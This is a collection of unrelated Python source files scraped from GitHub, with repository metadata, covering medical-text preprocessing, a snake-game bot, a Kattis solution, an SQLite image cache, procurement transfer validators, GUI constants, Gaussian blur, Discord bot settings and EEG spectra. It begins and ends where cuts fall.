pat_del = '([\\(\\)\\/])|([\\\\d+])'\n pat_space = '[_\\.]'\n pat_main = '[^ ]*[а-яёый\\\\\\/]{1,}[$ ]*'\n \n sentence = ' '.join(re.findall(pat_main, sentence))\n clear_name = re.sub(pat_del,'',sentence)\n sentence = re.sub(pat_space, ' ',sentence)\n return sentence\n\ndef largest_text_info(text_in_list, n_largest = 1):\n \"\"\" From all sentences in patients scripts choose the lagest\"\"\"\n try:\n sorted_series = pd.Series(text_in_list).sort_values(key = lambda x: x.str.len(), ascending = False)\n result = sorted_series.iloc[n_largest-1]\n except IndexError:\n result = np.nan\n return result\n\ndef total_preprocessinag(df):\n df['text'] = df['text'].str.replace(',\\n','\\n').str.lower()\n df['text_split'] = df['text'].str.split('\\n')\n df['text_split_cleaned'] = df['text_split'].apply(lambda x: [regexp_text_cleaner(i) for i in x])\n df['text_split_cleaned_full'] = df['text_split_cleaned'].str.join(' , ')\n \n df['text_1_large'] = df['text_split'].apply(lambda x: largest_text_info(x, n_largest=1))\n df['text_2_large'] = df['text_split'].apply(lambda x: largest_text_info(x, n_largest=2))\n df['text_3_large'] = df['text_split'].apply(lambda x: largest_text_info(x, n_largest=3))\n df['text_large_combined'] = df['text_1_large'] + ' ' + df['text_2_large']+ ' ' + df['text_3_large']\n df['text_large_combined'] = df['text_large_combined'].astype(str).apply(regexp_text_cleaner) \n \n return df.drop(columns = ['text_1_large','text_2_large','text_3_large'])\n\n############################ find in text structured columns and add them to dataset ############\n\ncolumns = ['температура тела :', 'веc, кг :','рост, см :','педикулез :','чесотка :','флюорограмма','гепатит',\n 'вич (спид) :','хронические заболевания печени :','оперативные вмешательства :',\n 'переливание крови :','контакты с инфекционными больными :','пребывание за границей :','лихорадка :','код по мкб10',\n 'госпитализирован по поводу данного заболевания в текущем году :','порядок госпитализации :',\n 'способ поступления (доставки) :','цель поступления :','канал поступления:']\n\ndef columns_extractor(text_list, ind,columns = columns):\n \"\"\" Extract chosen by hand column names from top 30 sentences of text\"\"\"\n res_df = pd.Series({x: y.replace(x,'') for x in columns for y in text_list[:30] if x in y}, name = ind)\\\n .drop_duplicates().to_frame().T\n return res_df\n\n\ndef temperature_finder(x):\n \"\"\" Handle with temperature data\"\"\"\n x_splitted = x.strip().split()\n for i in x_splitted:\n for t in ['35','36','37','38']:\n if t in x:\n x_r = i.replace(',','.')\n return float(x_r)\n\n\ndef weight_height_finder(x):\n \"\"\" Handle with weight and height dtat\"\"\"\n x_splitted = x.strip().split()\n for i in x_splitted:\n try :\n res = int(float(x.replace(',','.').replace(' ','')))\n return res\n except Exception:\n return np.nan\n \n\ndef sep_columns_df_maker(df,columns = columns):\n \"\"\" For chosen column names presented in text in strucutured way\"\"\"\n \n list_df = [columns_extractor(df.loc[i,'text_split'], i, columns = columns) for i in tqdm(df.index, position=0)]\n res_df =pd.concat(list_df)\n res_df.columns = [x.replace(':','').strip() for x in res_df.columns]\n \n pattern_sub = '[A-zА-я]+'\n if 'температура тела' in res_df.columns:\n res_df['температура тела'] = res_df['температура тела'].fillna('').astype(str).apply(lambda x: re.sub(pattern_sub,'', x))\\\n .apply(lambda x: x.split()[0] if len(x.split())>1 else x).str.strip().apply(temperature_finder)\n \n if 'веc, кг' in res_df.columns:\n res_df['веc, кг'] = res_df['веc, кг'].fillna('').astype(str).apply(lambda x: re.sub(pattern_sub,'', x)).str.strip().apply(weight_height_finder)\n \n if 'рост, см' in res_df.columns: \n res_df['рост, см'] = res_df['рост, см'].fillna('').astype(str).apply(lambda x: re.sub(pattern_sub,'', x)).str.strip().apply(weight_height_finder)\n \n res_df['ИМТ'] = res_df['веc, кг']/(res_df['рост, см']/100)**2\n \n for c in res_df.select_dtypes('object').columns:\n res_df[c].fillna('не_заполнено', inplace = True)\n \n return pd.concat([res_df, df], axis=1)\n\n\ndef train_val_preprocesses(filenames = ['train.csv','val.csv']):\n for filename in filenames:\n df = file_loader('train.csv').pipe(total_preprocessinag).pipe(sep_columns_df_maker)\n filename_new = 'prepr_' + filename.replace('.csv','')\n df.to_pickle(filename_new)","repo_name":"Evgeny007/save_life","sub_path":"load_preprocess.py","file_name":"load_preprocess.py","file_ext":"py","file_size_in_byte":5319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72020018483","text":"import numpy as np\n\n # 0, 1 = right\n # 0, -1 = left\n # 1, 0 = up\n # -1, 0 = down\nlastdir = []\n\ndef set_last_dir(dir):\n global lastdir\n lastdir = dir\n\ndef get_last_dir():\n global lastdir\n return lastdir\n\ndef get_next_Dir(pos):\n global lastdir\n if pos[1] == 12:\n if pos[0] < 10:\n # we have space if we are bottom right\n print (\"moving down\")\n lastdir = [1, 0]\n return lastdir\n else:\n print (\"moving left\")\n lastdir = [0, -1]\n return lastdir\n\n if pos[1] == 4:\n if pos[0] > 5:\n print (\"moving up\")\n lastdir = [-1, 0]\n return lastdir\n else:\n lastdir = [0, 1]\n return lastdir\n\n return lastdir\n\ndef calc_path_direct(start, end):\n dirs = []\n dist = [start[0] - end[0], start[1] - end[1]]\n distY = dist[0]\n distX = dist[1]\n\n #print(f\"Dist X = {distX}\")\n #print(f\"Dist Y = {distY}\")\n dirX = []\n for i in range(abs(distX)):\n if distX < 0:\n dirX.append([0, 1])\n if distX > 0:\n dirX.append([0, -1])\n dirY = []\n for i in range(abs(distY)):\n if distY < 0:\n dirY.append([1, 0])\n if distY > 0:\n dirY.append([-1, 0])\n dirs = dirX + dirY\n\n if len(dirs) == 0:\n print (\"ROAMING\")\n return calc_path_direct(start, [1, 1])\n return dirs\n\ndef calc_safe_path(start, end, game):\n dirs = calc_path_direct(start, end)\n \n dirs = validate_dir(start, dirs[len(dirs) - 1], game)\n return dirs\n\ndef validate_dir(start, dir, game):\n res = start[0] + dir[0], start[1] + dir[1]\n if game[res[0]][res[1]] == 0:\n #print (f\"normal pathing {dir}\")\n return dir\n if game[res[0]][res[1]] == 1:\n #print(\"special pathing\")\n return get_backwards_dir(dir)\n\ndef get_backwards_dir(dir):\n if not dir[0] == 0:\n # we are moving vertically\n mDir = [0, 1]\n rDir = [dir[0] * -1, dir[1] * -1]\n return [mDir, rDir]\n else:\n # we are moving horizontally\n # we are moving vertically\n mDir = [1, 0]\n rDir = [dir[0] * -1, dir[1] * -1]\n return [mDir, rDir]\n\n\ndef get_roam():\n return get_backwards_dir([0, 1])\n","repo_name":"Brannydonowt/GoogleSnakeBot","sub_path":"botAttempt1/pathing.py","file_name":"pathing.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"16406909125","text":"from math import inf\r\n\r\ndef main():\r\n\tn = int(input())\r\n\r\n\tplatforms = [(0,-inf,inf)]\r\n\tfor _ in range(n):\r\n\t\th,s,e = map(int,input().split())\r\n\t\tplatforms.append((h,s,e))\r\n\r\n\tplatforms = sorted(platforms,reverse=True)\r\n\r\n\theights = 0\r\n\tfor i in range(n):\r\n\t\tright = False\r\n\t\tleft = False\r\n\r\n\t\th,s,e = platforms[i]\r\n\r\n\t\tfor j in range(i+1,n+1):\r\n\t\t\th2,s2,e2 = platforms[j]\r\n\t\t\tif not left:\r\n\t\t\t\tif s2 <= s < e2:\r\n\t\t\t\t\tleft = True\r\n\t\t\t\t\theights += h-h2\r\n\r\n\t\t\tif not right:\r\n\t\t\t\tif s2 < e <= e2:\r\n\t\t\t\t\tright = True\r\n\t\t\t\t\theights += h-h2\r\n\r\n\tprint(heights)\r\n\r\nif __name__ == '__main__': main()","repo_name":"c-coward/Kattis","sub_path":"Python/platforme.py","file_name":"platforme.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33320695690","text":"import sqlite3\nimport json\n\n\nclass ImageData():\n def __init__(self, db_path: str) -> None:\n self.connect = sqlite3.connect(db_path)\n self.cursor = self.connect.cursor()\n self.initDB()\n\n def initDB(self) -> None:\n self.cursor.execute(\n \"SELECT name FROM sqlite_master where type='table' order by name\")\n table = self.cursor.fetchall()\n table = [line[0] for line in table]\n if not (\"IMAGE\" in table):\n self.cursor.execute(\n '''\n CREATE TABLE IMAGE\n (\n IMAGE BLOB PRIMARY KEY NOT NULL,\n RESULT TEXT NOT NULL\n );\n '''\n )\n self.connect.commit()\n\n def getResultFromImage(self, img: bytes) -> dict:\n data = self.cursor.execute(\n \"SELECT image, result from IMAGE\")\n for image, result in data:\n if image == img:\n return json.loads(result)\n return None\n\n def newResult(self, img: bytes, result: dict) -> None:\n result_ = json.dumps(result)\n self.cursor.execute(\n \"INSERT INTO IMAGE (IMAGE,RESULT) VALUES (?, '\"+result_+\"')\", (img,))\n self.connect.commit()\n\n def close(self) -> None:\n self.connect.close()\n","repo_name":"ChenHaoYan1234/CalculatingCorrectionProcedure","sub_path":"src/ImageData.py","file_name":"ImageData.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36342440019","text":"# -*- coding: utf-8 -*-\nfrom hashlib import sha512\n\nfrom openprocurement.api.utils import update_logging_context, error_handler\nfrom openprocurement.api.validation import (\n validate_json_data,\n validate_data,\n _validate_accreditation_level,\n _validate_accreditation_level_mode,\n _validate_accreditation_level_owner,\n _validate_accreditation_level_kind,\n)\nfrom openprocurement.relocation.api.models import Transfer\n\n\ndef validate_transfer_data(request, **kwargs):\n update_logging_context(request, {\"transfer_id\": \"__new__\"})\n data = validate_json_data(request)\n model = Transfer\n return validate_data(request, model, data=data)\n\n\ndef validate_ownership_data(request, **kwargs):\n data = validate_json_data(request)\n for field in [\"id\", \"transfer\"]:\n if not data.get(field):\n request.errors.add(\"body\", field, \"This field is required.\")\n if request.errors:\n request.errors.status = 422\n raise error_handler(request)\n request.validated[\"ownership_data\"] = data\n\n\ndef _validate_transfer_accreditation_level(request, obj, attr):\n levels = getattr(type(obj), attr)\n mode = obj.get(\"mode\", None)\n _validate_accreditation_level(request, levels, \"ownership\", \"change\")\n _validate_accreditation_level_mode(request, mode, \"ownership\", \"change\")\n\n\ndef validate_tender_accreditation_level(request, **kwargs):\n tender = request.validated[\"tender\"]\n model_attr = \"transfer_accreditations\" if hasattr(tender, \"transfer_accreditations\") else \"create_accreditations\"\n kind = tender.get(\"procuringEntity\", {}).get(\"kind\", \"\")\n _validate_transfer_accreditation_level(request, tender, model_attr)\n _validate_accreditation_level_kind(request, tender.central_accreditations, kind, \"ownership\", \"change\")\n\n\ndef validate_contract_accreditation_level(request, **kwargs):\n _validate_transfer_accreditation_level(request, request.validated[\"contract\"], \"create_accreditations\")\n\n\ndef validate_plan_accreditation_level(request, **kwargs):\n _validate_transfer_accreditation_level(request, request.validated[\"plan\"], \"create_accreditations\")\n\n\ndef validate_agreement_accreditation_level(request, **kwargs):\n _validate_transfer_accreditation_level(request, request.validated[\"agreement\"], \"create_accreditations\")\n\n\ndef _validate_owner_accreditation_level(request, obj):\n _validate_accreditation_level_owner(request, obj.owner, \"ownership\", \"ownership\", \"change\")\n\n\ndef validate_tender_owner_accreditation_level(request, **kwargs):\n _validate_owner_accreditation_level(request, request.validated[\"tender\"])\n\n\ndef validate_contract_owner_accreditation_level(request, **kwargs):\n _validate_owner_accreditation_level(request, request.validated[\"contract\"])\n\n\ndef validate_plan_owner_accreditation_level(request, **kwargs):\n _validate_owner_accreditation_level(request, request.validated[\"plan\"])\n\n\ndef validate_agreement_owner_accreditation_level(request, **kwargs):\n _validate_owner_accreditation_level(request, request.validated[\"agreement\"])\n\n\ndef _validate_transfer_token(request, obj):\n token = request.validated[\"ownership_data\"][\"transfer\"]\n if obj.transfer_token != sha512(token.encode(\"utf-8\")).hexdigest():\n request.errors.add(\"body\", \"transfer\", \"Invalid transfer\")\n request.errors.status = 403\n raise error_handler(request)\n\n\ndef validate_tender_transfer_token(request, **kwargs):\n _validate_transfer_token(request, request.validated[\"tender\"])\n\n\ndef validate_contract_transfer_token(request, **kwargs):\n _validate_transfer_token(request, request.validated[\"contract\"])\n\n\ndef validate_plan_transfer_token(request, **kwargs):\n _validate_transfer_token(request, request.validated[\"plan\"])\n\n\ndef validate_agreement_transfer_token(request, **kwargs):\n _validate_transfer_token(request, request.validated[\"agreement\"])\n\n\ndef validate_tender(request, **kwargs):\n tender = request.validated[\"tender\"]\n if tender.status in [\n \"complete\",\n \"unsuccessful\",\n \"cancelled\",\n \"active.stage2.waiting\",\n \"draft.pending\",\n \"draft.unsuccessful\",\n ]:\n request.errors.add(\n \"body\", \"data\", \"Can't update credentials in current ({}) tender status\".format(tender.status)\n )\n request.errors.status = 403\n raise error_handler(request)\n\n\ndef validate_contract(request, **kwargs):\n contract = request.validated[\"contract\"]\n if contract.status != \"active\":\n request.errors.add(\n \"body\", \"data\", \"Can't update credentials in current ({}) contract status\".format(contract.status)\n )\n request.errors.status = 403\n raise error_handler(request)\n\n\ndef validate_plan(request, **kwargs):\n plan = request.validated[\"plan\"]\n if plan.status != \"scheduled\":\n request.errors.add(\n \"body\", \"data\", \"Can't update credentials in current ({}) plan status\".format(plan.status)\n )\n request.errors.status = 403\n raise error_handler(request)\n\n\ndef validate_agreement(request, **kwargs):\n agreement = request.validated[\"agreement\"]\n if agreement.status != \"active\":\n request.errors.add(\n \"body\", \"data\", \"Can't update credentials in current ({}) agreement status\".format(agreement.status)\n )\n request.errors.status = 403\n raise error_handler(request)\n","repo_name":"ProzorroUKR/openprocurement.api","sub_path":"src/openprocurement/relocation/api/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":5368,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"75"} +{"seq_id":"29928196738","text":"# -*- coding: utf-8 -*-\n\n# This file is part of Argos.\n#\n# Argos is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Argos is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Argos. If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\" Constants related to the layout and other widget properties.\n\"\"\"\nimport sys\nfrom argos.qt import QtCore, QtGui, QtWidgets\n\n# Use large numpy line length in the Quicklook panel\nNUMPY_LINE_WIDTH = sys.maxsize\n\n#TREE_ROW_HEIGHT = 20 # pixels\nTREE_CELL_SIZE_HINT = QtCore.QSize(100, 20)\nTREE_ICON_SIZE = QtCore.QSize(16, 16)\n\n#COLLECTOR_TREE_CELL_SIZE_HINT = QtCore.QSize(100, 24) not used (yet?)\nCOLLECTOR_TREE_ICON_SIZE = QtCore.QSize(20, 20)\n\n# Initial dock widths of the main window\nLEFT_DOCK_WIDTH = 440 # needs room for scroll bars\nRIGHT_DOCK_WIDTH = 320\nTOP_DOCK_HEIGHT = 75\n\nCOL_NODE_NAME_WIDTH = 180\nCOL_KIND_WIDTH = 50\nCOL_ELEM_TYPE_WIDTH = 80\nCOL_SUMMARY_WIDTH = 110 # will be stretched\n\n\n# Spacing and margin in central widgets in pixels\nCENTRAL_SPACING = 0\nCENTRAL_MARGIN = 0\n\n# Spacing and margin in dock widgets in pixels. Is now set in style sheet margin.\n\nDOCK_SPACING = 0\nDOCK_MARGIN = 0\n\nif sys.platform == 'linux':\n MONO_FONT = 'Monospace'\n FONT_SIZE = 10\nelif sys.platform == 'win32' or sys.platform == 'cygwin':\n MONO_FONT = 'Courier'\n FONT_SIZE = 10\nelif sys.platform == 'darwin':\n MONO_FONT = 'Courier'\n FONT_SIZE = 13\nelse:\n MONO_FONT = 'Courier'\n FONT_SIZE = 13\n\nCOLOR_ERROR = '#FF0000' # red\n\nQCOLOR_REGULAR = QtGui.QColor('black')\nQCOLOR_NOT_IMPORTED = QtGui.QColor('grey')\nQCOLOR_ERROR = QtGui.QColor(COLOR_ERROR)\n\n","repo_name":"titusjan/argos","sub_path":"argos/widgets/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","stars":161,"dataset":"github-code","pt":"75"} +{"seq_id":"16370779660","text":"import cv2\r\nimport numpy as np\r\n\r\ndef gaussianBlur(img, ksize, sigma):\r\n # Cette fonction est utilisee pour le filtre implemente de Gaussien\r\n nx = np.arange(-ksize, ksize+1, 1)\r\n ny = np.arange(-ksize, ksize+1, 1)\r\n x,y = np.meshgrid(nx,ny)\r\n expComp = -(x**2+y**2)/(2*sigma*sigma)\r\n kernel = np.exp(expComp)/(2*np.pi*sigma*sigma)\r\n M = np.size(x,0)-1\r\n N = np.size(y,0)-1\r\n if np.size(np.shape(img))==2:\r\n outputImg = np.empty((np.size(img,0),np.size(img,1)))\r\n I = np.lib.pad(img,ksize,'constant',constant_values=0)\r\n for i in range(np.size(I,0)-M):\r\n for j in range(np.size(I,1)-N):\r\n temp = I[i:i+M+1,j:j+N+1]*kernel\r\n outputImg[i,j]=np.round(np.sum(temp[:]))\r\n else:\r\n outputImg = np.empty((np.size(img,0),np.size(img,1),np.size(img,2)))\r\n I1 = np.lib.pad(img[0:np.size(img,0),0:np.size(img,1),0],ksize,'constant',constant_values=0)\r\n for i in range(np.size(I1,0)-M):\r\n for j in range(np.size(I1,1)-N):\r\n temp = I1[i:i+M+1,j:j+N+1]*kernel\r\n outputImg[i,j,0]=np.round(np.sum(temp[:]))\r\n I2 = np.lib.pad(img[0:np.size(img,0),0:np.size(img,1),1],ksize,'constant',constant_values=0)\r\n for i in range(np.size(I2,0)-M):\r\n for j in range(np.size(I2,1)-N):\r\n temp = I2[i:i+M+1,j:j+N+1]*kernel\r\n outputImg[i,j,1]=np.round(np.sum(temp[:]))\r\n I3 = np.lib.pad(img[0:np.size(img,0),0:np.size(img,1),1],ksize,'constant',constant_values=0)\r\n for i in range(np.size(I3,0)-M):\r\n for j in range(np.size(I3,1)-N):\r\n temp = I3[i:i+M+1,j:j+N+1]*kernel\r\n outputImg[i,j,2]=np.round(np.sum(temp[:]))\r\n outputImg = outputImg.astype(np.uint8)\r\n return outputImg\r\n","repo_name":"lphatnguyen/End-of-program-project","sub_path":"Proposed Algo/gaussianFilter.py","file_name":"gaussianFilter.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2615176833","text":"import os\nfrom os.path import exists\nimport json\nimport re\n\n\"\"\"\" # This file contains the inner checks for the settings file. Also contains helpers.\"\"\"\n\n\n# This grabs the token and channel from the settings json file but not before parsing and checking them.\n# If there is no settings.json file, then throw a fatal error since these are essential to our bot.\ndef get_settings():\n path = \"\"\n\n if exists(\"internals/settings.json\"):\n path = 'internals/settings.json'\n elif exists(os.getcwd() + \"/settings.json\"):\n path = os.getcwd() + \"/settings.json\"\n else:\n print('FATAL: No settings.json file found.\\n')\n if exists(\"example_settings.json\"):\n print('FATAL : Replace the example_settings.json with a settings.json file, then fill it with your info.')\n exit(0)\n\n with open(path) as f:\n json_data = json.load(f)\n f.close()\n\n token = check_token(json_data)\n channels = check_channels(json_data)\n time = check_time(json_data)\n prefix = check_bot_prefix(json_data)\n if (token is not None) and (channels is not None) and (time is not None) and (prefix is not None):\n print(\"\\t[Send message to channels {0} at time {1}.]\\n\".format(channels, time))\n return token, channels, time, prefix\n else:\n exit(0)\n\n\ndef check_bot_prefix(json_data):\n if 'bot_prefix' in json_data:\n print(\"Bot Prefix:\", json_data.get('bot_prefix'))\n\n if json_data.get('bot_prefix').strip() != \"\":\n return json_data['bot_prefix']\n else:\n print(\"FATAL: Empty bot prefix value.\")\n return None\n else:\n print(\"FATAL: Missing bot prefix value from settings.json.\")\n return None\n\n\n# Check and see if there is an existing json value for time, then check to see if it empty or not.\n# If we run into errors, we shall throw a fatal error.\ndef check_time(json_data):\n if 'time' in json_data:\n print(\"Time:\", json_data.get('time'))\n\n if json_data.get('time') != \"\":\n try:\n if re.search(r'^(([01]\\d|2[0-3]):([0-5]\\d)|24:00)$', json_data.get('time')):\n return json_data['time']\n else:\n print(\"FATAL: Error with time value format. Please use 'HH:MM'.\")\n return None\n except:\n print(\"FATAL: Error with time value format. Please use 'HH:MM'.\")\n return None\n else:\n print(\"FATAL: Empty time value.\")\n return None\n else:\n print(\"FATAL: Missing time value from settings.json.\")\n return None\n\n\n# Check and see if there is an existing json value for token, then check to see if it empty or not.\n# If we run into errors, we shall throw a fatal error.\ndef check_token(json_data):\n if 'token' in json_data:\n print(\"Token:\", json_data.get('token'))\n if json_data.get('token').strip() != \"\":\n return json_data['token']\n else:\n print(\"FATAL: Empty token value.\")\n return None\n else:\n print(\"FATAL: Missing token value from settings.json.\")\n return None\n\n\n# Check and see if there is an existing json value for channels. If there is, we need to see if its empty, and\n# then we have split it by comma. Then we can begin to parse each 'channel' and see if it is valid. We are solely\n# focusing on the format of the strings.\n# If we run into errors, we shall throw a fatal error.\ndef check_channels(json_data):\n if 'channels' in json_data:\n if json_data.get('channels') == \"\":\n print(\"FATAL: Empty channel value.\")\n return None\n\n _channels = []\n\n if isinstance(json_data.get('channels'), list):\n channels = json_data.get('channels')\n for channel in channels:\n try:\n if channel == \"\":\n print(\"FATAL: Invalid string in 'channel' json.\")\n return None\n else:\n _channels.append(int(channel))\n except:\n print(\"FATAL: Invalid value in 'channel' json.\")\n return None\n if len(channels) > 1:\n print(\"Channels:\", _channels)\n return _channels\n else:\n return None\n elif isinstance(json_data.get('channels'), str):\n try:\n channel = int(json_data.get('channels'))\n print(\"Channel:\", channel)\n _channels.append(channel)\n return _channels\n except:\n print(\"FATAL: Invalid value in 'channel' json.\")\n return None\n else:\n print(\"FATAL: Missing channel value from settings.json.\")\n return None\n","repo_name":"sasho2k/discord-word-of-the-day","sub_path":"internals/internal.py","file_name":"internal.py","file_ext":"py","file_size_in_byte":4807,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"17763957635","text":"# new方法,单例模式就用new来写\n# 我们知道实例化init会自动执行, 其实在init方法之前,还有一个new方法也会自动执行,\n# 你可以在new里执行一些实例化前的定制动作\nclass Printer(object):\n __instance = None # 用来存唯一的一个实例\n __tasks = []\n\n def __init__(self, task):\n self.__tasks.append(task)\n print(\"added a new task in queue..\", task)\n\n def __new__(cls, *args, **kwargs): # 负责执行__init__\n if cls.__instance is None: # 代表之前还没被实例化过\n obj = object.__new__(cls) # 执行init\n cls.__instance = obj # 把第一次实例化的对象 存下来,以后每次实例化都用这个第一次的对象\n return cls.__instance # 下一次实例化时,就返回第一次实例化的对象\n\n def jobs(self):\n return self.__tasks\n\n\njob = Printer(\"job1 word\")\njob2 = Printer(\"job2 png\")\njob3 = Printer(\"job3 excel\")\nprint(id(job), id(job2), id(job3)) # 会发现这3个实例的内存id一样\nprint(job3.jobs())\n","repo_name":"CrscdRobotTeam/python_base","sub_path":"00python面向对象/day2/study11_Example_3.py","file_name":"study11_Example_3.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14477684243","text":"# import kineticstoolkit.lab as ktk\nimport scipy.io\nfrom scipy import signal\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport sys\n\nclass EEG_components:\n\n def __init__(self, signals, sampling_rate):\n self.signals = signals\n self.sampling_rate = sampling_rate\n \n def freq_components(self,ids, ax, iter):\n \n f1=[[]]*len(self.signals)\n S1=[[]]*len(self.signals)\n \n i=0\n for signal in self.signals:\n (f1[i], S1[i])= scipy.signal.welch(signal[ids[0]:ids[1]], self.sampling_rate, nperseg=3*1024, scaling='density')\n ax[i].axes.plot(f1[i], np.sqrt(S1[i]), label=f'iter. {iter}', alpha=0.9)\n ax[i].legend()\n i=i+1\n \n ax[0].set_xlim([0,30])\n ax[0].set_ylim([-0.05e-5,1.8e-5])\n \n \n return ax\n","repo_name":"gtibap/EEG","sub_path":"scripts/class_read_bdf.py","file_name":"class_read_bdf.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33055779115","text":"import dash_bootstrap_components as dbc\nfrom dash import Patch, html, dcc\n\ndef get_animation_controls(node_id, all_anim_coords):\n anim_options = [\n dbc.Row(\n [\n dbc.Col(html.Div(\"Resolution:\"), width=3),\n dbc.Col(\n dbc.RadioItems(\n id={\"type\": \"resolution\", \"index\": node_id},\n options=[\n {\"label\": \"High\", \"value\": f\"{node_id}:high\"},\n {\"label\": \"Medium\", \"value\": f\"{node_id}:medium\"},\n {\"label\": \"Low\", \"value\": f\"{node_id}:low\"},\n ],\n value=f\"{node_id}:low\",\n inline=True,\n ),\n width=9,\n ),\n ]\n ),\n dbc.Row(\n dbc.Col(\n [\n dbc.Button(\n f\"Animate {cur_coord}\",\n id={\n \"type\": \"animation\",\n \"index\": f\"{node_id}:{cur_coord}\",\n },\n size=\"sm\",\n className=\"me-1\",\n color=\"light\",\n )\n for cur_coord in all_anim_coords\n ],\n width={\"size\": 8, \"offset\": 2},\n )\n ),\n ]\n\n return anim_options\n\ndef get_frame_controls(node_id, all_anim_coords):\n frame_controls = [\n # Add a div with the name of the field\n html.Div([f\"{cur_coord}\", \n dbc.ButtonGroup(\n [\n dbc.Button(html.I(className=\"bi bi-skip-backward\"), color=\"light\", id={\"type\":\"first_frame\", \"index\":f'{cur_coord}:{node_id}'}),\n dbc.Button(html.I(className=\"bi bi-skip-start\"), color=\"light\", id={\"type\":\"prev_frame\", \"index\":f'{cur_coord}:{node_id}'}),\n dbc.Button(html.I(className=\"bi bi-skip-end\"), color=\"light\", id={\"type\":\"next_frame\", \"index\":f'{cur_coord}:{node_id}'}),\n dbc.Button(html.I(className=\"bi bi-skip-forward\"), color=\"light\", id={\"type\":\"last_frame\", \"index\":f'{cur_coord}:{node_id}'}),\n ], size=\"sm\",\n ),\n ]) for cur_coord in all_anim_coords\n ]\n\n return frame_controls\n","repo_name":"olmozavala/ncdashboard","sub_path":"proj_layout/figures.py","file_name":"figures.py","file_ext":"py","file_size_in_byte":2458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30585178130","text":"import sys\n\n\nclass State(object):\n def __init__(self, field, description):\n self.field = field\n self.description = description\n\n\nclass Transition(object):\n def __init__(self, src_index, act, dst_index):\n self.src_index = src_index\n self.act = act\n self.dst_index = dst_index\n\n\nclass TS(object):\n # S: set of state (list)\n # ACT: list of actions\n # TRANS: list of transitions\n # AP: list of name of AP\n # L: labeling function\n def __init__(self, ap_list):\n self.state_list = []\n self.act_list = []\n self.trans_list = []\n self.ap_list = ap_list\n self.label_list = []\n self.num_state = 0\n\n def ifStateExists(self, state):\n match = [s.field for s in self.state_list]\n if state.field in match:\n return 1\n else:\n return 0\n\n def ifActionExists(self, action):\n return int(action in self.act_list)\n\n def addState(self, state, label):\n # assert not self.ifStateExists(state)\n assert len(label) == len(self.ap_list)\n self.state_list.append(state)\n self.label_list.append(label)\n self.num_state = self.num_state + 1\n return self.num_state - 1\n\n def addAction(self, act):\n assert act not in self.act_list\n self.act_list.append(act)\n\n def addTrans(self, trans):\n assert trans.src_index < self.num_state and trans.dst_index < self.num_state\n self.trans_list.append(trans)\n\n def findAction(self, src_field, dst_field):\n for trans in self.trans_list:\n if self.state_list[trans.src_index].field == src_field and \\\n self.state_list[trans.dst_index].field == dst_field:\n return trans.act\n return None\n\n def getField(self, index):\n return self.state_list[index].field\n\n def getIndex(self, field):\n field_list = [state.field for state in self.state_list]\n return field_list.index(field)\n\n def getPrevField(self, field):\n \"\"\"\n Given current field, return one previous state's field\n :param field:\n :return: previous field\n \"\"\"\n for tran in self.trans_list:\n if self.getField(tran.dst_index) == field:\n return self.getField(tran.src_index)\n return None\n\n def getPrevIndex(self, index):\n \"\"\"\n Given current index, return one previous state's index\n :param index:\n :return:\n \"\"\"\n for tran in self.trans_list:\n if tran.dst_index == index:\n return tran.src_index\n return None\n\n def writeToFile(self):\n # TODO: save the transition system into file\n pass\n\n def printToGv(self):\n print('digraph {')\n field_list = [state.field for state in self.state_list]\n for state, index in zip(self.state_list, range(len(self.state_list))):\n print('\\tnode [label=\\\"%s\\\"] s%d' % (state.description, index))\n for trans in self.trans_list:\n print('\\ts%d -> s%d [label = \\\"%s\\\"]' % (trans.src_index, trans.dst_index, trans.act))\n print('}')\n\n def writeToGv(self, filename):\n with open(filename, 'w') as fp:\n stdout = sys.stdout\n sys.stdout = fp\n self.printToGv()\n sys.stdout = stdout\n\n def printToPml(self):\n field_list = [state.field for state in self.state_list]\n ap_list = [ap.replace('.', '_') for ap in self.ap_list]\n for ap, index in zip(ap_list, range(len(ap_list))):\n print('bool %s = %d;' % (ap, self.label_list[0][index]))\n print('')\n print('')\n print('proctype main()')\n print('{')\n for state, index in zip(self.state_list, range(len(self.state_list))):\n print('state_%d:' % index)\n print('\\tprintf(\\\"state=%s\\\\n\\\");' % state.description)\n print('\\tatomic {')\n for ap, ap_index in zip(ap_list, range(len(ap_list))):\n print('\\t\\t%s = %d;' % (ap, self.label_list[index][ap_index]))\n print('\\t}')\n print('\\tif')\n for trans in self.trans_list:\n if trans.src_field == state.field:\n print('\\t::')\n print('\\t\\tprintf(\\\"action: %s\\\\n\\\");' % trans.act)\n print('\\t\\tgoto state_%d;' % field_list.index(trans.dest_field))\n print('\\tfi')\n print('')\n print('}')\n print('')\n print('')\n print('init')\n print('{')\n print('\\trun 